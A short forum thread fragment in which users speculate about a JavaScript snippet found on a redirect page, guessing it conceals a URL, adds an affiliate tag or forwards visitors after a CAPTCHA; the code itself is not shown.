Code (markup):

 

what site are you using it from? or where did you pull it from?

 

it was on a redirect page

 

I think this javas script is supposed to hide the url of a site and only display it if the visit is coming for a certain site. Then it will add the affiliate site to the url so the affiliate can get his commission.

 

I think it leads visitors to a site they passed the CAPTCHA.
